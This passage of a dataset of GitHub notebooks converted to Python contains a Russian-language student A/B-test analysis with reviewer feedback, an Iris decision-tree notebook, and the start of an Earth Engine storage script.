+\n#test pushing\n","repo_name":"yy495/bistable_perception_project","sub_path":"gershman/hist_investigation_gershman_12.ipynb","file_name":"hist_investigation_gershman_12.ipynb","file_ext":"py","file_size_in_byte":8438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"13409483268","text":"#
\n#\n# Катя, привет!👋\n#\n# Меня зовут Евгений Хоран, я буду ревьюером твоего проекта. Ты можешь обращаться ко мне на \"ты\"😏 Надеюсь, тебя также не смутит, если я буду обращаться к тебе на \"ты\", но если это неудобно, обязательно скажи об этом!\n#\n# Пожалуйста, **не удаляй мои комментарии**, они будут особенно полезны для нашей работы в случае повторной проверки проекта. \n#\n#\n# Ты также можешь реагировать на мои комментарии своими, выделяя их цветами и наиболее понравившимся тебе способом оформления, но явно отличающимся от моих комментариев. Это нужно, чтобы не создавалась путаница😉\n# \n# Ты можешь найти мои комментарии, обозначенные зеленым, желтым и красным цветами, например:\n#\n#
\n#\n#\n#
\n#\n#
\n#\n#
\n#\n#\n#
\n#
\n# \n# Увидев у тебя неточность, в первый раз я лишь укажу на ее наличие и дам тебе возможность самому найти и исправить ее. На реальной работе твой руководитель будет поступать также, и я пытаюсь подготовить тебя именн�� к работе аналитиком. Но если ты пока не справишься с такой задачей - при следующей проверке я дам более точную подсказку!🤓\n\n# # ПРИОРЕТИЗАЦИЯ ГИПОТЕЗ.\n#\n# В файле /datasets/hypothesis.csv 9 гипотез по увеличению выручки интернет-магазина с указанными параметрами Reach, Impact, Confidence, Effort.\n\n# \n\nimport pandas as pd\nimport datetime as dt\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math as mth\nfrom pandas.plotting import register_matplotlib_converters\nimport warnings\nregister_matplotlib_converters()\nimport scipy.stats as stats\n\nhypothesis = pd.read_csv('/datasets/hypothesis.csv', sep=',')\n\npd.options.display.max_colwidth = 120 \nhypothesis\n\n#
\n#

Комментарий ревьюера

\n# На доработку🤔:\n# \n# Не стоит использовать `print` для отображение таблиц. Для этого применяют `display`, а если переменная для вывода находится в последней строке ячейки, то она отобразится автоматически. Актуально для всего проекта\n# \n# \n# В такой таблице не видно гипотезу целиком. Это можно исправить, если увеличить максимальную ширину столбцов\n#\n# pd.options.display.max_colwidth = 100 \n\n#
\n# Евгений, спасибо за ц.у. по расширению ширины столбца. \"Принты\" везде убрала.\n#
\n\n#
\n#

Комментарий ревьюера V2

\n# Все отлично!👍 : \n# \n# Такой вариант вывода предпочтителен\n\nhypothesis.columns = [x.lower() for x in hypothesis.columns] #названия всех столбцов сделаем из строчных букв\n\n#\n# ## Примените фреймворк ICE для приоритизации гипотез. Отсортируйте их по убыванию приоритета.\n\nhypothesis['ICE'] = (hypothesis['impact']*hypothesis['confidence'])/hypothesis['efforts']\nhypothesis[['hypothesis','ICE']].sort_values('ICE',ascending=False)\n\n# Наиболее перспективные гипотезы по ICE: 8,0,7,6. У этих гипотез самые высокие показатели по влиянию от применения предлагаемых мер и высокой степени увереннорсти в них, которые превосходят затраты на их внедрение.\n\n# ## Примените фреймворк RICE для приоритизации гипотез. Отсортируйте их по убыванию приоритета.\n\nhypothesis['RICE'] = (hypothesis['reach']*hypothesis['impact']*hypothesis['confidence'])/hypothesis['efforts']\nhypothesis[['hypothesis','RICE']].sort_values('RICE',ascending=False)\n\n# Наиболее перспективные гипотезы по RICE: 7,2,0,6. С добавлением параметра охвата список лидеров резко изменился.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍: \n# \n# Верные расчеты и выводы \n\n# ## Укажите, как изменилась приоритизация гипотез при применении RICE вместо ICE. Объясните, почему так произошло.\n\n# Гипотеза 8,самая перспективная по версии ICE, не вошла в топ-перспективных гипотез по версии RICE, т.к. её охват(параметр Reach) равен всего 1 баллу.\n# Поэтому, если, рассматривать приоретизацию гипотез с учётом охвата, то лидером будет гипотеза 7, т.к.она затронет всех покупателей.\n\n#
\n#

Комментарий ревьюера

\n#\n# Некоторые замечания и рекомендации💡: \n#\n# Чтобы было удобнее сравнивать таблицы их стоит объеденить \n\n# # АНАЛИЗ A/B-ТЕСТА\n# Вы провели A/B-тест и получили результаты, которые описаны в файлах /datasets/orders.csv и /datasets/visitors.csv.\n#\n# Проанализируйте A/B-тест:\n\norders = pd.read_csv('/datasets/orders.csv', sep=',')\n\norders.head()\n\norders.info()\n\nvisitors = pd.read_csv('/datasets/visitors.csv', sep=',')\n\nvisitors.head()\n\nvisitors.info()\n\norders['date'] = orders['date'].map(\n lambda x: dt.datetime.strptime(x, '%Y-%m-%d')\n)\n\nvisitors['date'] = visitors['date'].map(\n lambda x: dt.datetime.strptime(x, '%Y-%m-%d')\n)\n\nvisitors.info()\n\norders.info()\n\n# \n#\n\n#
\n# Дополнительные исследования перед началом анализа:\n#
\n\norders['group'].unique() #группы теста\n\ndisplay(orders.query('group==\"A\"')['date'].min()) # даты начала и окончания теста в группе А\norders.query('group==\"A\"')['date'].max()\n\ndisplay(orders.query('group==\"B\"')['date'].min()) # даты начала и окончания теста в группе B\norders.query('group==\"B\"')['date'].max()\n\ndisplay(orders.query('group==\"A\"')['visitorId'].nunique()) # количество пользователей в каждой группе\norders.query('group==\"B\"')['visitorId'].nunique()\n\nuniqueA = orders.query('group==\"A\"')['visitorId'].unique()\nuniqueB = orders.query('group==\"B\"')['visitorId'].unique()\nAB_users = set(uniqueA)&set(uniqueB) # список пользователей,попавших в обе группы\nAB_users\n\nlen(AB_users) # количество пользователей, попавших в обе группы\n\n# В результате дополнительных исследований перед началом анализа установлено:\n# - в АВ-тесте 2 группы: A и B;\n# - даты начала и окончания теста в каждой группе: 01.08.2019 и 31.08.2019;\n# - в группе А 503 пользователя,в группе В - 586 пользователей;\n# - 58 пользователей попадают в обе группы. \n#\n# Мы видим, что группы теста отличаются по размеру . Причины тому могут быть различные. В данном случае это можно объяснить более эффективной работой с пользователями в группе В. Возможно, причина просто в лучшей конверсии. Разница в данном случае не значительна.\n# 58 пользователей попало сразу в две группы (это клиенты, сделавшие один заказ до нововведения, а другой - после). Считаю, что таких пользователей удалять не обязательно, ведь тогда из теста уйдут покупатели с большим числом покупок, а поиск аномальных покупателей по количеству покупок даст другие результаты. На основании вышесказанного можно сделать вывод о том, что данные собраны корректно и над исследованием нужно продолжить работу. К такому выводу также подталкивает и тот факт, что на повторное проведение теста потребуются дополнительные затраты ресурсов компании: рабочее врем�� специалистов, потеря времени.\n#\n\n#
\n#

Комментарий ревьюера V2

\n# Все отлично!👍 : \n# \n# Наличие таких пользователей ставит под сомнений корректность данных. Однако, мы имеем право их оставить\n\n# ## Постройте график кумулятивной выручки по группам. Сделайте выводы и предположения.\n\ndatesGroups = orders[['date', 'group']].drop_duplicates()\n\n#
\n#

Комментарий ревьюера

\n# Все отлично!👍: \n# \n# Применены все основные инструменты предобработки данных \n# \n# Однако, проверку на дубликаты стоит проводить в шаге выше, так структура проекта будет более удобной\n\nordersAggregated = datesGroups.apply(\n lambda x: orders[\n np.logical_and(\n orders['date'] <= x['date'], orders['group'] == x['group']\n )\n ].agg(\n {\n 'date': 'max',\n 'group': 'max',\n 'transactionId': 'nunique',\n 'visitorId': 'nunique',\n 'revenue': 'sum',\n }\n ),\n axis=1,\n).sort_values(by=['date', 'group'])\n\nvisitorsAggregated = datesGroups.apply(\n lambda x: visitors[\n np.logical_and(\n visitors['date'] <= x['date'], visitors['group'] == x['group']\n )\n ].agg({'date': 'max', 'group': 'max', 'visitors': 'sum'}),\n axis=1,\n).sort_values(by=['date', 'group'])\n\ncumulativeData = ordersAggregated.merge(\n visitorsAggregated, left_on=['date', 'group'], right_on=['date', 'group']\n)\ncumulativeData.columns = [\n 'date',\n 'group',\n 'orders',\n 'buyers',\n 'revenue',\n 'visitors',\n]\n\ncumulativeData.info()\n\ncumulativeRevenueA = cumulativeData[cumulativeData['group']=='A'][['date','revenue', 'orders']]\ncumulativeRevenueB = cumulativeData[cumulativeData['group']=='B'][['date','revenue', 'orders']]\n\nplt.figure(figsize=(12,6))\nplt.plot(cumulativeRevenueA['date'], cumulativeRevenueA['revenue'],label='A')\nplt.plot(cumulativeRevenueB['date'], cumulativeRevenueB['revenue'], label='B')\nplt.title('Кумулятивная выручка по дням и группам A/B тестирования', pad = 20)\nplt.xlabel('Дата')\nplt.ylabel('Выручка')\nplt.legend(['Группа А','Группа В']) \nplt.show()\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Очень качественный график с точки зрения оформления. С ним твоим коллегам будет удобно работать\n\n# Около 18 августа сегмент В резко вырвался вперёд и продолжал лидировать весь остаток теста.Возможно на результаты влияют аномально большие заказы, которые при заключительном анализе нужно будет удалить.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верный вывод\n\n# ## Постройте график кумулятивного среднего чека по группам. Сделайте выводы и предположения.\n\ncumulativeRevenueA = cumulativeData[cumulativeData['group'] == 'A'][\n ['date', 'revenue', 'orders']\n]\ncumulativeRevenueB = cumulativeData[cumulativeData['group'] == 'B'][\n ['date', 'revenue', 'orders']\n ]\n\nplt.figure(figsize=(12,6))\nplt.plot(cumulativeRevenueA['date'], cumulativeRevenueA['revenue']/cumulativeRevenueA['orders'], label='A')\nplt.plot(cumulativeRevenueB['date'], cumulativeRevenueB['revenue']/cumulativeRevenueB['orders'], label='B')\nplt.title('Кумулятивный средний чек по дням и группам A/B тестирования', pad = 20)\nplt.xlabel('Дата')\nplt.ylabel('Средний чек')\nplt.legend(['Группа А','Группа В']) \nplt.show()\n\n# В начале теста кумулятивное значение среднего чека по группам колебалось и ни одна из групп не являлась бесспорным лидером по данному показателю. Но в районе 18 августа кумулятивное значение среднего чека у группы В стремительно выросло. После этого события группа В по данному показателю лидирует вплоть до окончания теста. Возможно 18 августа произошла какая то аномально крупная покупка среди покупателей группы В.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верный вывод\n\n# ## Постройте график относительного изменения кумулятивного среднего чека группы B к группе A. Сделайте выводы и предположения.\n\nmergedCumulativeRevenue = cumulativeRevenueA.merge(cumulativeRevenueB, left_on='date', right_on='date', how='left', \\\n suffixes=['A', 'B'])\n\nplt.figure(figsize=(12,6))\nplt.plot(mergedCumulativeRevenue['date'], (mergedCumulativeRevenue['revenueB']/ \\\nmergedCumulativeRevenue['ordersB'])/(mergedCumulativeRevenue['revenueA']/mergedCumulativeRevenue['ordersA'])-1)\nplt.title('График относительного изменения кумулятивного среднего чека группы B к группе A', pad = 20)\nplt.xlabel('Дата') \nplt.axhline(y=0, color='black', linestyle='--') \nplt.show()\n\n# Перед нами график относительного изменения кумулятивного среднего чека группы B к группе A. Результааты теста менялись значительно несколько раз. Возможно именно в эти даты были совершены аномальные заказы. К концу исследуемого периода средний чек группы В чущественно выше, чем у группы А.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верный вывод\n\n# ## Постройте график кумулятивной конверсии по группам. Сделайте выводы и предположения.\n\ncumulativeData['conversion'] = cumulativeData['orders']/cumulativeData['visitors']\n# отделяем данные по группе A\ncumulativeDataA = cumulativeData[cumulativeData['group']=='A']\n# отделяем данные по группе B\ncumulativeDataB = cumulativeData[cumulativeData['group']=='B']\n\ncumulativeData['date'].min()\n\ncumulativeData['date'].max()\n\nplt.figure(figsize=(12,6))\nplt.plot(cumulativeDataA['date'], cumulativeDataA['conversion'], label='A')\nplt.plot(cumulativeDataB['date'], cumulativeDataB['conversion'], label='B')\nplt.title('График кумулятивной конверсии по дням и группам A/B тестирования', pad = 20)\nplt.xlabel('Дата')\nplt.ylabel('Конверсия')\nplt.legend(['Группа А','Группа В']) \nplt.show()\n\n# В начале теста сегмент А имел бОльшую конверсию. Но уже с 6 августа и до окончания теста кумулятивная конверсия группы В стабильно выше, чем у группы А.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верный вывод\n\n# ## Постройте график относительного изменения кумулятивной конверсии группы B к группе A. Сделайте выводы и предположения.\n\nmergedCumulativeConversions = cumulativeDataA[['date','conversion']].merge(cumulativeDataB[['date','conversion']], \\\nleft_on='date', right_on='date', how='left', suffixes=['A', 'B'])\n\nplt.figure(figsize=(12,6))\nplt.plot(mergedCumulativeConversions['date'], \\\nmergedCumulativeConversions['conversionB']/mergedCumulativeConversions['conversionA']-1, \\\nlabel=\"Относительный прирост конверсии группы B относительно группы A\")\nplt.legend()\nplt.xlabel('Дата')\nplt.title('График относительного изменения кумулятивной конверсии группы B к группе A', pad = 20)\nplt.axhline(y=0, color='black', linestyle='--')\nplt.axhline(y=0.10, color='grey', linestyle='--')\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Удачное решение добавить `plt.axhline(y=0.10, color='grey', linestyle='--')`\n\n# Почти с самого начала теста группа B лидирует по конверсии. На момент окончания теста относительный прирост конверсии группы В зафиксировался на уро��не 10% относительно группы А и продолжает расти.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верный вывод\n\n# ## Постройте точечный график количества заказов по пользователям. Сделайте выводы и предположения.\n\nordersByUsers = orders.groupby('visitorId', as_index=False).agg({'transactionId': 'nunique'})\nordersByUsers.columns = ['visitorId', 'orders']\ndisplay(ordersByUsers.sort_values(by='orders', ascending=False).head(10))\n\nx_values = pd.Series(range(0, len(ordersByUsers)))\n\nplt.figure(figsize=(12,6))\nplt.scatter(x_values, ordersByUsers['orders']) \nplt.ylabel('Количество заказов на 1 пользователя')\nplt.xlabel('Количество наблюдений')\nplt.title('Точечный график количества заказов по пользователям', pad = 20)\n\n# Из графика видно, что обычно один пользователь делает один заказ, реже - 2, и совсем в редких случаях - 3. Случаи, когда один пользователь делает больше 3 заказов выглядят аномалиями.\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верная интерпретация\n\n# ## Посчитайте 95-й и 99-й перцентили количества заказов на пользователя. Выберите границу для определения аномальных пользователей.\n\nnp.percentile(ordersByUsers['orders'], [90, 95, 99])\n\n# Таки образом, не более 5% пользователей совершали больше 2 заказов. И не более 1% пользователей сделало свыше 4 заказов. Примем за аномальных пользователей тех, кто совершил 4 заказа и более. Так мы уберём 1% пользователей с наибольшим числом заказов\n\n#
\n#

Комментарий ревьюера

\n#\n# Все отлично!👍:\n# \n# Верная интерпретация результатов\n\n# ## Постройте точечный график стоимостей заказов. Сделайте выводы и предположения.\n\ndisplay(orders.sort_values(by='revenue', ascending=False).head(10))\nx_values = pd.Series(range(0, len(orders['revenue'])))\n\nplt.figure(figsize=(12,7))\nplt.scatter(x_values, orders['revenue']) \nplt.title('Точечный график стоимостей заказов', pad = 20)\nplt.ylabel('Стоимость заказа')\nplt.xlabel('Количество наблюдений')\n\n# Заказов стоимостью 30 000 уже не очень много. Есть выбросы в районе 200 000 рублей и даже в районе 1 300 000 рублей.\n\n#
\n#

Комментарий ревьюера

\n# На доработку🤔:\n# \n# В таких случаях стоит строить дополнительно детализированный график без аномалий. Так мы сможем увидеть как распределена основная часть наблюдений\n# \n\n#
\n# Построила график без учёта аномалий:\n#
\n\nx_values = pd.Series(range(0, len(orders.query('revenue<=30000')['revenue'])))\nplt.figure(figsize=(12,7))\nplt.scatter(x_values, orders.query('revenue<=30000')['revenue']) \nplt.title('Точечный график стоимостей заказов', pad = 20)\nplt.ylabel('Стоимость заказа')\nplt.xlabel('Количество наблюдений')\n\n#
\n#

Комментарий ревьюера V2

\n# Все отлично!👍 : \n# \n# Так гораздо нагляднее\n\n# Оставив в графике только заказы, стоимость которых не превышает 30 000 р., становится очевидным, что стоимость абсолютного большинства заказов не более 4 000 рублей. Так же мы видим, что чем больше стимость заказа, тем меньше таких заказов встречается.\n\n# ## Посчитайте 95-й и 99-й перцентили стоимости заказов. Выберите ��раницу для определения аномальных заказов.\n\nnp.percentile(orders['revenue'], [90, 95, 99])\n\n# Не более 5% пользователей оформляли заказы стоимостью больше 28 000 р. И не более 1% пользователей сделало заказы стоимостью свыше 58 233р.Примем за аномальных пользователей тех, кто совершил заказ на сумму свыше 35 000 рублей. Так мы уберём от 1% до 5% заказов с наибольшей стоимостью.\n\n#
\n#

Комментарий ревьюера

\n# Некоторые замечания и рекомендации💡: \n# \n# Когда мы выбираем порог аномалий нам стоит знать по какому перцентилю был подсчитан данный порог. Выбрав 35 000 мы не сможем ответить на вопрос по какому перценитилю был получен данный порог. \n# \n# Стоит использовать значения, которые мы подсчитали. \n# \n\n#
\n# Впредь буду иметь ввиду. Сейчас в теории яндекс-практикума показывают такой принцип фильтрации аномалий, поэтому сделала по нему.\n#
\n\n# ## Посчитайте статистическую значимость различий в конверсии* между группами по «сырым» данным. Сделайте выводы и предположения.\n#\n# (*имеется ввиду статистическая значимость различия среднего количества заказов)\n\n#
\n#

Комментарий ревьюера

\n#\n# На доработку🤔:\n# \n# Перед началом проверок стоит добавить\n# \n# * Какой критерий будет применяться и обоснование своего выбора\n# \n# * Какой уровень значимости будет использован\n# \n# * Формулировки гипотез\n# \n# Актуально для проверок ниже \n\n#
\n# \n# - уровень статистической значимости alpha = 0.05\n# \n# \n# - H0: Статистически значимых различий в среднем количестве заказов между группами по сырым данным нет.\n# - H1:Статистически значимые различия в среднем количестве заказов между группами по сырым данным есть.\n# \n# \n# - Если p-value будет меньше уровня статистической значимости, то нулевая гипотеза будет отвергнута: разница статистически значима. В иных случая отвергнуть нулевую гипотезу не получится: вывод о различии сделать нельзя\n#
\n\n#
\n#

Комментарий ревьюера V2

\n# Все отлично!👍 : \n# \n# Вступление имеет все необходимое, чтобы начать проверку гипотез \n\n# +\nordersByUsersA = orders[orders['group']=='A'].groupby('visitorId', as_index=False).agg({'transactionId' : pd.Series.nunique})\nordersByUsersA.columns = ['visitorId', 'orders']\n \nordersByUsersB = orders[orders['group']=='B'].groupby('visitorId', as_index=False).agg({'transactionId' : pd.Series.nunique})\nordersByUsersB.columns = ['visitorId', 'orders']\n \nsampleA = pd.concat([ordersByUsersA['orders'],pd.Series(0, index=np.arange(visitors[visitors['group']=='A'] \\\n['visitors'].sum() - len(ordersByUsersA['orders'])), name='orders')],axis=0)\n\nsampleB = pd.concat([ordersByUsersB['orders'],pd.Series(0, index=np.arange(visitors[visitors['group']=='B'] \\\n['visitors'].sum() - len(ordersByUsersB['orders'])), name='orders')],axis=0)\n\ndisplay('P-value: '\"{0:.5f}\".format(stats.mannwhitneyu(sampleA, sampleB)[1]))\ndisplay('Разница в процентах: ' \"{0:.3f}\".format(sampleB.mean()/sampleA.mean()-1))\n# -\n\n#
\n#

Комментарий ревьюера

\n#\n# На доработку🤔:\n# \n# * Пожалуйста, убери избыточные данные, которые ты собираешь по новой с нуля. В ��том нет необходимости\n# \n# * Для значений `0.01679` `0.138` стоит добавить подписи, чтобы не было путаницы\n\n#
\n# Убрала лишнее, добавила подписи.\n#
\n\n# P-value значительно меньше 0,05, поэтому нулевую гипотезу отвергаем. Анализ сырых данных говорит о том, что в среднем количестве заказов между группами есть статистически значимые различия. Относительный прирост среднего группы В к конверсии группы А равен 13,8%.\n\n# ## Посчитайте статистическую значимость различий в среднем чеке заказа между группами по «сырым» данным.\n# Сделайте выводы и предположения.\n\n#
\n# \n# - уровень статистической значимости alpha = 0.05\n# \n# \n# - H0: Статистически значимых различий в среднем чеке заказа между группами по сырым данным нет.\n# - H1:Статистически значимые различия в среднем чеке заказа между группами по сырым данным есть.\n# \n# \n# - Если p-value будет меньше уровня статистической значимости, то нулевая гипотеза будет отвергнута: разница статистически значима. В иных случая отвергнуть нулевую гипотезу не получится: вывод о различии сделать нельзя\n#
\n\ndisplay('p-value: ''{0:.3f}'.format(stats.mannwhitneyu(orders[orders['group']=='A']['revenue'], orders[orders['group']=='B']['revenue'])[1]))\ndisplay('Разница в процентах: ''{0:.3f}'.format(orders[orders['group']=='B']['revenue'].mean()/orders[orders['group']=='A']['revenue'].mean()-1)) \n\n# P-value больше 0,05 - значит статистически значимых отличий в среднем чеке между группами нет. При этом относительное различие среднего чека между сегментами 25,9%.\n\n# ## Посчитайте статистическую значимость различий в конверсии между группами по «очищенным» данным. Сделайте выводы и предположения.\n\n#
\n# \n# - уровень статистической значимости alpha = 0.05\n# \n# \n# - H0: Статистически значимых различий в среднем количестве заказов между группами по очищенным данным нет.\n# - H1:Статистически значимые различия в среднем количестве заказов между группами по очищенным данным есть.\n# \n# \n# - Если p-value будет меньше уровня статистической значимости, то нулевая гипотеза будет отвергнута: разница статистически значима. В иных случая отвергнуть нулевую гипотезу не получится: вывод о различии сделать нельзя\n#
\n\n# Приступаем к подготовке очищенных от аномалий данных.\n# Напомню, что 95-й и 99-й перцентили средних чеков равны 28 000 и 58 233 рублям. А 95-й и 99-й перцентили числа заказов на одного пользователя равны 2 и 4 заказам на пользователя.\n# Примем за аномальных пользователей тех, кто совершил 4 заказа и более, или совершил заказ на сумму свыше 35 000 рублей. Так мы уберём 1% пользователей с наибольшим числом заказов и от 1% до 5% заказов с наибольшей стоимостью.\n\nusersWithManyOrders = pd.concat(\n [\n ordersByUsersA[ordersByUsersA['orders'] >= 4]['visitorId'],\n ordersByUsersB[ordersByUsersB['orders'] >= 4]['visitorId'],\n ],\n axis=0,\n)\n\n# +\nusersWithExpensiveOrders = orders[orders['revenue'] > 35000]['visitorId']\n\nabnormalUsers = (\n pd.concat([usersWithManyOrders, usersWithExpensiveOrders], axis=0)\n .drop_duplicates()\n .sort_values()\n)\ndisplay(abnormalUsers.head(5))\n# -\n\nsampleAFiltered = pd.concat(\n [\n ordersByUsersA[\n np.logical_not(ordersByUsersA['visitorId'].isin(abnormalUsers))\n ]['orders'],\n pd.Series(\n 0,\n index=np.arange(visitors[visitors['group']=='A'] \\\n['visitors'].sum() - len(ordersByUsersA['orders'])), name='orders')],axis=0)\n\n#
\n#

Комментарий ревьюера V2

\n#\n# На доработку🤔:\n# \n# Стоит пересмотреть алгоритм создания таблицы, теперь нет переменной `data` \n# \n# ![image.png](attachment:image.png) \n\n#
\n# Исправлено\n#
\n\nsampleBFiltered = pd.concat(\n [\n ordersByUsersB[\n np.logical_not(ordersByUsersB['visitorId'].isin(abnormalUsers))\n ]['orders'],\n pd.Series(\n 0,\n index=np.arange(visitors[visitors['group']=='B'] \\\n['visitors'].sum() - len(ordersByUsersB['orders'])), name='orders')],axis=0)\n\ndisplay('P-value: ''{0:.5f}'.format(stats.mannwhitneyu(sampleAFiltered, sampleBFiltered)[1]))\ndisplay('Разница в процентах: ''{0:.3f}'.format(sampleBFiltered.mean()/sampleAFiltered.mean()-1)) \n\n# Как и в случае с сырыми данными статистическая значимость достигнута - сегмент B значительно лучше сегмента А.\n\n# ## Посчитайте статистическую значимость различий в среднем чеке заказа между группами по «очищенным» данным. Сделайте выводы и предположения.\n\n#
\n# \n# - уровень статистической значимости alpha = 0.05\n# \n# \n# - H0: Статистически значимых различий в среднем чеке заказа между группами по очищенным данным нет.\n# - H1:Статистически значимые различия в среднем чеке заказа между группами по очищенным данным есть.\n# \n# \n# - Если p-value будет меньше уровня статистической значимости, то нулевая гипотеза будет отвергнута: разница статистически значима. В иных случая отвергнуть нулевую гипотезу не получится: вывод о различии сделать нельзя\n#
\n\n# +\ndisplay('P-value: '\n '{0:.3f}'.format(\n stats.mannwhitneyu(\n orders[\n np.logical_and(\n orders['group'] == 'A',\n np.logical_not(orders['visitorId'].isin(abnormalUsers)),\n )\n ]['revenue'],\n orders[\n np.logical_and(\n orders['group'] == 'B',\n np.logical_not(orders['visitorId'].isin(abnormalUsers)),\n )\n ]['revenue'],\n )[1]\n )\n)\n\ndisplay('Разница в процентах: '\n \"{0:.3f}\".format(\n orders[\n np.logical_and(\n orders['group'] == 'B',\n np.logical_not(orders['visitorId'].isin(abnormalUsers)),\n )\n ]['revenue'].mean()\n / orders[\n np.logical_and(\n orders['group'] == 'A',\n np.logical_not(orders['visitorId'].isin(abnormalUsers)),\n )\n ]['revenue'].mean()\n - 1\n )\n) \n# -\n\n# Анализ очищенных данных также показал, что статистически значимых отличий в среднем чеке между группами нет. Вот только относительное различие среднего чека между сегментами всего 2,5%, а не 25,9%, как это было в нефильтрованных данных.\n\n#
\n#

Комментарий ревьюера

\n# Все отлично!👍: \n# \n# Верные выводы об отвержении гипотез\n\n# ## Примите решение по результатам теста и объясните его. Варианты решений: 1. Остановить тест, зафиксировать победу одной из групп. 2. Остановить тест, зафиксировать отсутствие различий между группами. 3. Продолжить тест.\n\n# Результаты решённых в этом проекте задач следующие:\n# - Есть статистически значимое различие по конверсии между группами как по сырым данным, так и после фильтрации аномалий.\n# - Статистически значимого различия по среднему чеку между группами нет, как по сырым данным, так и после удаления аномалий.\n# - График различия конверсии между группами сообщает, что результаты группы B лучше группы A: имеют тенденцию к росту, либо зафиксировались около среднего значения.\n# - График различия среднего чека колеблется: он и помог найти аномалии. Сделать из этого графика определённые выводы нельзя.\n\n# Исходя из вышеперечисленных фактов А/B тест следует остановить и признать его успешным (победа группы В), т.к. эти пользователи стабильно лучше конвертируются. \n\n#
\n#

Комментарий ревьюера

\n# Все отлично!👍: \n# \n# Удачная структура вывода, с ним твоим коллегам будет удобно работать\n# \n# Верное решение принзнать победу группы В \n\n#
\n#\n# **Общий вывод по проекту**\n#\n#\n# Катя, спасибо за твой проект! Ты показала свои навыки, приложила много сил и довела проект до конца. Заметно, что ты действуешь по плану и соблюдаешь структуру, это здорово.\n#\n# Если есть вопросы, задавай. Буду рад ответить на них🙋 \n#\n# Есть несколько важных моментов, которые я отметил и которые можно было бы улучшить, подсказки ты найдешь в моих комментариях. \n#\n# **Отмечу отдельные положительные моменты проекта🙂**:\n# \n# * Ты используешь все необходимые для предварительного анализа инструменты!\n# * Очень четкие и правильные выводы. Они присутствуют везде где должны быть и полностью понятны\n# * Отличная структура проекта\n# * Ты активно используешь визуализацию, хорошо, что ты не избегаешь этого инструмента анализа\n# * Каждое важное действие ты аргументируешь\n# * Выдвинуты возможные причины поведения данных\n# * В коде присутствуют комментарии \n# * Верная логика во всех алгоритмах \n#\n# **На что стоит обратить внимание🤓**:\n#\n# * Заменить `print` на альтернативный способ вывода \n# * Провести дополнительные исследования для таблиц из A/B теста \n# * Добавить наблюдение какой критерий будет применяться и обоснование своего выбора\n# * Добавить наблюдение какой уровень значимости будет использован \n# * Важно добавить формулировку гипотез\n# * Очень важно пересмотреть необходимость сбора кумулятивных данных в разделе проверок стат значимых различий \n# * Остальные рекомендации ты найдешь в моих комментариях!\n#\n# **Желаю удачи и жду твой проект на повторное ревью!**😉\n#\n# ![gif](https://media.giphy.com/media/xT9IgEYXCNqPZnqMuY/giphy.gif)\n\n#
\n#\n# **Общий вывод по проекту V2** \n# \n# Катя, спасибо за обратную связь, проверять твою работу было очень удобно🙏\n# \n# * Ты молодец, все ошибки были исправлены. \n#\n# После исправления всех ошибок, нам удалось обноружить новый недочет. Осталось, разобраться как заменить алгоритм без использования `data`\n# \n# **Жду твой проект на повторное ревью!**😉\n\n#
\n#\n# **Общий вывод по проекту V3** \n# \n# Катя, ты молодец, все ошибки исправлены.\n# \n# Поздравляю с завершением этого проекта, надеюсь мои комментарии были полезны тебе 🥳\n# \n# **Желаю продуктивной учебы и получать макисимум полезных знаний из каждого проекта! Ты еще на один шаг ближе к своей цели**😉\n# \n# ![gif](https://media3.giphy.com/media/mJHSkWKziszrkcNJPo/giphy.gif?cid=ecf05e4751sqiwyupsnl7wcq220d4w5u5885lsimcajolzd2&rid=giphy.gif&ct=g)\n\n\n","repo_name":"Ekaterina-063/Yandex_DA","sub_path":"9-prinyatie_resheniy.ipynb","file_name":"9-prinyatie_resheniy.ipynb","file_ext":"py","file_size_in_byte":49132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"22159862278","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\ndataset=pd.read_csv(\"Iris.csv\")\n\ndataset.head()\n\ndataset=dataset.set_index(\"Id\")\n\ndataset.head()\n\ndataset.info()\n\ndataset.replace(list(dataset[\"Species\"].unique()),[0,1,2],inplace=True)\n\nlist(dataset[\"Species\"].unique())\n\ndataset.head()\n\nX=np.array(dataset.iloc[:,:4])\ny=np.array(dataset.iloc[:,[False,False,False,False,True]])\n\nX\n\ny\n\nfrom sklearn.model_selection import train_test_split\nX_train,X_test,y_train,y_test=train_test_split(X,y,train_size=0.8)\n\nfrom sklearn.tree import DecisionTreeClassifier\nDtree=DecisionTreeClassifier(criterion=\"gini\",random_state=0)\ntree_model=Dtree.fit(X_train,y_train)\ny_preds=tree_model.predict(X_test)\n\nX_test\n\nlen(X_test)\n\nfrom sklearn.model_selection import cross_val_score\ncross_val_score(Dtree, X_train , y_train )\n\nplt.plot(np.arange(0,30),y_preds)\nplt.plot(np.arange(0,30),y_test)\n\n\n","repo_name":"PRAGYAMISHRA04/LGMVIP-OCTOBER","sub_path":"LGM/Task 3/Prediction using Decision Tree Algorithm.ipynb","file_name":"Prediction using Decision Tree Algorithm.ipynb","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"11"} +{"seq_id":"22493368482","text":"import ee\nimport subprocess\nfrom google.cloud import storage\nfrom datetime import datetime\nee.Initialize()\n\nbucket_name = 'opera-bucket-rtc'\nfolderPath = 'products/test-run'\ntargetCollectionPath = 'projects/opera-one/assets/RTC/systemTestVH'\n\ntargetCollection = ee.ImageCollection(targetCollectionPath)\ntargetIDs = targetCollection.aggregate_array('system:index').getInfo()\nprint(targetIDs)\n\nstorage_client = storage.Client()\nblobs = storage_client.list_blobs(bucket_name, prefix=folderPath+'/')\ngcsKeys = []\nfor blob in 